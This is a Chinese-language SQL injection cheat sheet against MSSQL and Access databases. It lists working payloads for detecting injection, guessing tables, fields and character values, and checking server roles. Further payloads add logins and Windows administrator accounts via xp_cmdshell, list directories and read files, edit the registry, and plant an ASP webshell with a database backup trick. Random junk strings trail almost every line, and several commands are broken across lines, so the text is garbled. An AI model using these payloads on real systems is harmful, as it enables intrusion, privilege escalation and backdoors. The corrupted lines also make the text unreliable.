1.判断是否有注入;and 1=1 ;and 1=2 Y\CR*om!W
2.初步判断是否是mssql ;and user>0 `gI`Cq4
014p = W
3.注入参数是字符'and [查询条件] and ''=' qx#k()E.U
;W ZA
4.搜索时没过滤参数的'and [查询条件] and '%25'=' m@Ziif-A
jlhyn0
5.判断数据库系统 >MXE)=
h>s|MZQ:*
;and (select count(*) from sysobjects)>0 mssql Qi&!Ub]
z^tws*u],5
;and (select count(*) from msysobjects)>0 access #g)$m}tv?
HiTn 5XNf
:g1C,M~
3Thb0\<"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 #w2;n@7;X
/qf2LO'+
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 f>g<:.k*
f-Yp`lnn.d
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ym>>5 (bni
XaFu(Xu7
9.(1)猜字段的ascii值(access) >.P/fnvJ
kpxWi=y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *k&yD3br-V
{Q/XV=
(2)猜字段的ascii值(mssql) z]P=>w
(X!?#)fyn
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 C~C}b
]QB<N|ps
10.测试权限结构(mssql) (eTe`
mkJC*45
B@R3j
ze%kP#c6!
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- `RRC8 ]l
#LP38wE
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- KY1(yni&8[
D%tcYI(
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- aT v
)v1y
P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- %RlG~a
+
?z=,')
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- I-@A{vvPK
r9),F.6,
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ]p,svevo
".n,R"EF
;and 1=(select IS_MEMBER('db_owner'));-- UODbT&&
fpCkT [&m
`# N j8
Z/y&;N4
11.添加mssql和系统的帐户 jacp':T
Dgb@`oo
;exec master.dbo.sp_addlogin username;-- @S69u s}
;exec master.dbo.sp_password null,username,password;-- a4zq`n|3U
ba=-F4?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- iX3Y:
RyI(6TZl
;exec master.dbo.xp_cmdshell 'net user username password Gp0B^^H$
zQ;jaS3hf
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- AKKp-I5
i{#5=np H
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ^jY'Hj.Bs
RnvPqNs
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- oCl
$ 0x
QkEIV<T&)l
F XpI-?#E<
PL+j;V(<
12.(1)遍历目录 B%~hVpm,eM
5xHP5+&
;create table dirs(paths varchar(100), id int) WtT*
1Z
J%_m`?
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9Ai e$=
3ID1>
;and (select top 1 paths from dirs)>0 R)p+#F(s
pzkl ;"gK
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >";I3S-t
o09)esy
?Ek 3<7d
3Kv~lo^
(2)遍历目录 h KZ<PwBi
Bh'_@PHP
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- !=C74$TH
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3#=%2\
wt8?@lJ"/
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 q 9cN2|:
\Vc-W|e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1@xmzTC
byT@O:f L
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z0@{5e$#Y
oWJ0>)
,Z2fVz~9
k&|#(1CFY
13.mssql中的存储过程 O{4G'CgN(
$#b@b[h<w
xp_regenumvalues 注册表根键, 子键 :\]TAQd-
T^"-;
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6c[&[L%
~,*=j~#h
xp_regread 根键,子键,键值名 gpIq4Q<
.u+ZrA#
;exec xp_regread :A~6Gk92A
,'7 X|z/_>
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -y@#
^SrJ
4pYscB
xp_regwrite 根键,子键, 值名, 值类型, 值 %K9 9_Cl3
K2'Il[
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1
P0)La#
_TGv"c@V
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Q1cM{$}M
!x%$xC^Iz
xp_regdeletevalue 根键,子键,值名 B) 5QI
6~:eO(pK
l
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 5$Q}Zxh
uBr^TM$k&
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 Nr*
xI'sprNa_1
HDV@d^]-
4#dS.UfI
14.mssql的backup创建webshell (
04clU^F
qs9q{n-Aj
use model #i t)
K!L0|WH%!
create table cmd(str image); _LYI#D
vtm?x,h
insert into cmd(str) values (''); q6A"+w,N
nm8XHk]
backup database model to disk='c:\l.asp'; t08E
2sI
oqXs2F
<WWn1k_
[EdX6
15.mssql内置函数 aMLtZ7i>
Vr|sRvz
;and (select @@version)>0 获得Windows的版本号 li4"|T&
vXq2="+
;and user_name()='dbo' 判断当前系统的连接用户是不是sa +dw=)A#/
:u
ruC
;and (select user_name())>0 爆当前系统的连接用户 _J N$zZ{
B&bQvdp
;and (select db_name())>0 得到当前连接的数据库 h;+bHrKji
|qp^4vq.p
v`G [6Z
ees^j4
16.简洁的webshell w~}*MsB
E1"H(m&6
use model Xb/W[rcs
q'% cVM
create table cmd(str image); =
Ff 2
$G,#nh2 oD
insert into cmd(str) values (''); Ub"6OT1tl
UP+4xG
backup database model to disk='g:\wwwtest\l.asp';